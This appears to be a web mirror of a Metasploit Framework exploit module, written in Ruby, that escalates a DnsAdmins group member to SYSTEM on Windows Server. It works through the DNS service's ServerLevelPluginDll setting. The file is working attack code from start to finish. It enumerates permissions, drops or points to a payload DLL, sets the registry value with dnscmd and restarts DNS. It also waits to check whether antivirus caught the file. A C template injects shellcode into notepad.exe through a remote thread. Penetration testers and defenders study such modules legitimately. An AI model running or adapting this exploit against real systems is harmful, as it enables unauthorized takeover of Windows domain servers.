CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/compiler/windows'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = NormalRanking
10
11
include Msf::Post::File
12
include Msf::Post::Windows::Priv
13
include Msf::Post::Windows::Services
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
21
'Description' => %q{
22
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
23
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
24
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
25
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
26
when using a UNC path.
27
28
Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
29
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
30
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
31
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
32
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
33
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
34
this module for advice on how to resolve this issue should it occur.
35
36
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
37
Server version up to and including Windows Server 2019.
38
},
39
'References' => [
40
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
41
['URL', 'https://adsecurity.org/?p=4064'],
42
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
43
],
44
'DisclosureDate' => '2017-05-08',
45
'License' => MSF_LICENSE,
46
'Author' => [
47
'Shay Ber', # vulnerability discovery
48
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
49
],
50
'Platform' => 'win',
51
'Targets' => [[ 'Automatic', {} ]],
52
'SessionTypes' => [ 'meterpreter' ],
53
'DefaultOptions' => {
54
'WfsDelay' => 20,
55
'EXITFUNC' => 'thread'
56
},
57
'Notes' => {
58
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
59
# non-optimal time or if the UNC path is typed in wrong.
60
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
61
'Reliability' => [REPEATABLE_SESSION]
62
},
63
'Compat' => {
64
'Meterpreter' => {
65
'Commands' => %w[
66
stdapi_fs_delete_file
67
stdapi_sys_config_getsid
68
stdapi_sys_config_getuid
69
]
70
}
71
}
72
)
73
)
74
75
register_options(
76
[
77
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
78
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
79
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
80
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
81
]
82
)
83
84
deregister_options('FILE_CONTENTS')
85
end
86
87
def check
88
version = get_version_info
89
if version.windows_server?
90
vprint_good('OS seems vulnerable.')
91
else
92
vprint_error('OS is not vulnerable!')
93
return Exploit::CheckCode::Safe
94
end
95
96
username = client.sys.config.getuid
97
user_sid = client.sys.config.getsid
98
hostname = sysinfo['Computer']
99
vprint_status("Running check against #{hostname} as user #{username}...")
100
101
srv_info = service_info('DNS')
102
if srv_info.nil?
103
vprint_error('Unable to enumerate the DNS service!')
104
return Exploit::CheckCode::Unknown
105
end
106
107
if srv_info && srv_info[:display].empty?
108
vprint_error('The DNS service does not exist on this host!')
109
return Exploit::CheckCode::Safe
110
end
111
112
# for use during permission check
113
if srv_info[:dacl].nil?
114
vprint_error('Unable to determine permissions on the DNS service!')
115
return Exploit::CheckCode::Unknown
116
end
117
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
118
119
vprint_good("DNS service found on #{hostname}.")
120
121
# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
122
group_membership = get_whoami
123
unless group_membership
124
vprint_error('Unable to enumerate group membership!')
125
return Exploit::CheckCode::Unknown
126
end
127
128
unless group_membership.include? 'DnsAdmins'
129
vprint_error("User #{username} is not part of the DnsAdmins group!")
130
return Exploit::CheckCode::Safe
131
end
132
133
# find the DnsAdmins group SID
134
dnsadmin_sid = ''
135
group_membership.each_line do |line|
136
unless line.include? 'DnsAdmins'
137
next
138
end
139
140
vprint_good("User #{username} is part of the DnsAdmins group.")
141
line.split.each do |item|
142
unless item.include? 'S-'
143
next
144
end
145
146
vprint_status("DnsAdmins SID is #{item}")
147
dnsadmin_sid = item
148
break
149
end
150
break
151
end
152
153
# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
154
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
155
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
156
if dnsadmin_dacl.include? 'RPWP'
157
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
158
end
159
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
160
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
161
if user_dacl.include? 'RPWP'
162
vprint_good("User #{username} can start/stop the DNS service.")
163
end
164
else
165
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
166
return Exploit::CheckCode::Safe
167
end
168
169
Exploit::CheckCode::Vulnerable
170
end
171
172
def exploit
173
# get system architecture
174
arch = sysinfo['Architecture']
175
if arch != payload_instance.arch.first
176
fail_with(Failure::BadConfig, 'Wrong payload architecture!')
177
end
178
179
# no exploit, just create the DLL
180
if datastore['MAKEDLL'] == true
181
# copypasta from lib/msf/core/exploit/fileformat.rb
182
# writes the generated DLL to ~/.msf4/local/
183
dllname = datastore['DLLNAME']
184
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
185
print_good("#{dllname} stored at #{full_path}")
186
return
187
end
188
189
# will exploit
190
if is_system?
191
fail_with(Failure::BadConfig, 'Session is already elevated!')
192
end
193
194
unless [CheckCode::Vulnerable].include? check
195
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
196
end
197
198
# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
199
print_status('Checking service state...')
200
svc_state = service_status('DNS')
201
unless svc_state[:state] == 4
202
print_status('DNS service is stopped, starting it...')
203
service_start('DNS')
204
end
205
206
# the service must be started before proceeding
207
total_wait_time = 0
208
loop do
209
svc_state = service_status('DNS')
210
if svc_state[:state] == 4
211
sleep 1
212
break
213
else
214
sleep 2
215
total_wait_time += 2
216
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
217
end
218
end
219
220
# the if block assumes several things:
221
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
222
# 2. operator has generated their own DLL with the correct payload and architecture
223
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
224
# the target falls back to SMB1
225
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
226
if datastore['DLLPATH'].start_with?('\\\\')
227
228
# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
229
build_num_raw = session.shell_command_token('cmd.exe /c ver')
230
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
231
if build_num.nil?
232
print_error("Couldn't retrieve the target's build number!")
233
return
234
else
235
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
236
vprint_status("Target's build number: #{build_num}")
237
end
238
239
build_num_gemversion = Rex::Version.new(build_num)
240
241
# If the target is running Windows 10 or Windows Server versions with a
242
# build number of 16299 or later, aka v1709 or later, then we need to check
243
# if "Enable insecure guest logons" is enabled on the target system as per
244
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
245
if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
246
# check if "Enable insecure guest logons" is enabled on the target system
247
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
248
unless allow_insecure_guest_auth == 1
249
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
250
end
251
end
252
print_status('Using user-provided UNC path.')
253
else
254
write_file(dllpath, make_serverlevelplugindll(arch))
255
print_good("Wrote DLL to #{dllpath}!")
256
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
257
sleep(datastore['AVTIMEOUT'])
258
unless file_exist?(dllpath.to_s)
259
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
260
return
261
end
262
print_good("Looks like our file wasn't caught by the AV.")
263
end
264
265
print_warning('Entering danger section...')
266
267
print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
268
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
269
unless dnscmd_result.include? 'success'
270
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
271
end
272
273
print_good(dnscmd_result.split("\n")[0])
274
275
# restart the DNS service
276
print_status('Restarting the DNS service...')
277
restart_service
278
end
279
280
def on_new_session(session)
281
if datastore['DLLPATH'].start_with?('\\\\')
282
return
283
else
284
if session.type == ('meterpreter') && !session.ext.aliases.include?('stdapi')
285
session.core.use('stdapi')
286
end
287
288
vprint_status('Erasing ServerLevelPluginDll registry value...')
289
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
290
print_good('Exited danger zone successfully!')
291
292
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
293
restart_service('session' => session, 'dllpath' => dllpath)
294
end
295
end
296
297
def restart_service(opts = {})
298
# for deleting the DLL
299
if opts['session'] && opts['dllpath']
300
session = opts['session']
301
dllpath = opts['dllpath']
302
end
303
304
service_stop('DNS')
305
# see if the service has really been stopped
306
total_wait_time = 0
307
loop do
308
svc_state = service_status('DNS')
309
if svc_state[:state] == 1
310
sleep 1
311
break
312
else
313
sleep 2
314
total_wait_time += 2
315
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
316
end
317
end
318
319
# clean up the dropped DLL
320
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
321
vprint_status("Removing #{dllpath}...")
322
session.fs.file.rm dllpath
323
end
324
325
service_start('DNS')
326
# see if the service has really been started
327
total_wait_time = 0
328
loop do
329
svc_state = service_status('DNS')
330
if svc_state[:state] == 4
331
sleep 1
332
break
333
else
334
sleep 2
335
total_wait_time += 2
336
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
337
end
338
end
339
end
340
341
def make_serverlevelplugindll(arch)
342
# generate the payload
343
payload = generate_payload
344
# the C template for the ServerLevelPluginDll DLL
345
c_template = %|
346
#include <Windows.h>
347
#include <stdlib.h>
348
#include <String.h>
349
350
BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
351
switch (dwReason) {
352
case DLL_PROCESS_ATTACH:
353
case DLL_THREAD_ATTACH:
354
case DLL_THREAD_DETACH:
355
case DLL_PROCESS_DETACH:
356
break;
357
}
358
359
return TRUE;
360
}
361
362
int DnsPluginCleanup __attribute__((export))(void) { return 0; }
363
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
364
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
365
STARTUPINFO startup_info;
366
PROCESS_INFORMATION process_info;
367
char throwaway_buffer[8];
368
369
ZeroMemory(&startup_info, sizeof(startup_info));
370
startup_info.cb = sizeof(STARTUPINFO);
371
startup_info.dwFlags = STARTF_USESHOWWINDOW;
372
startup_info.wShowWindow = 0;
373
374
if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
375
HANDLE processHandle;
376
HANDLE remoteThread;
377
PVOID remoteBuffer;
378
379
unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";
380
381
processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
382
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
383
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
384
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
385
386
CloseHandle(process_info.hThread);
387
CloseHandle(processHandle);
388
}
389
390
return 0;
391
}
392
|
393
394
c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)
395
396
cpu = nil
397
case arch
398
when 'x86'
399
cpu = Metasm::Ia32.new
400
when 'x64'
401
cpu = Metasm::X86_64.new
402
else
403
fail_with(Failure::NoTarget, 'Target arch is not compatible')
404
end
405
406
print_status('Building DLL...')
407
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
408
end
409
end
410
411